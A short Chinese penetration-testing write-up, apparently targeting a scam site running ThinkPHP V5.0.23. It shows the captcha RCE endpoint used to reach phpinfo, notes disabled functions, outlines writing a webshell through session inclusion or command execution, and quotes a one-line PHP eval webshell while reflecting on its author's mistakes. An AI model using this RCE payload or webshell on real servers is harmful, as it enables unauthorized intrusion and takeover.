目标
1 | https://www.test.com/home/login/index |
看到这种杀猪盘和URL格式,八成是Thinkphp
的站
php
环境,先确定是否为tp的站点,然后再看情况扫目录
ThinkPHP V5.0.23
存在RCE
版本,直接上payload试试
1 | POST: /?s=captcha&test=-1 |
phpinfo()
页面已经出来了,说明一定存在RCE
了,接下来拿shell
就可以了,上面的目录也暂时不要跑了
Getshell
phpinfo
页面中有这几点需要注意的
- 网站绝对路径
$_SERVER['DOCUMENT_ROOT']
- 被禁函数
disable_functions
1 | passthru,exec,system,putenv,chroot,chgrp,chown, |
0x01 包含session写shell
1 | # 写shell进session |
0x02 命令执行写shell
1 | POST: /?s=captcha |
总结
全是低级错误,以后不会再犯错了
0x01 eval()函数
eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
理解错eval()
函数的意思,犯低级错误
eval('id')
–> 错误
eval不能执行命令
0x02 file_put_concats()
函数名写错,少个s
当然无法写入
0x03 单引号冲突
file_put_concat('hhh.php','<?php @eval($_POST['-1'])?>')
一句话木马中的单引号和函数单引号冲突,无法写入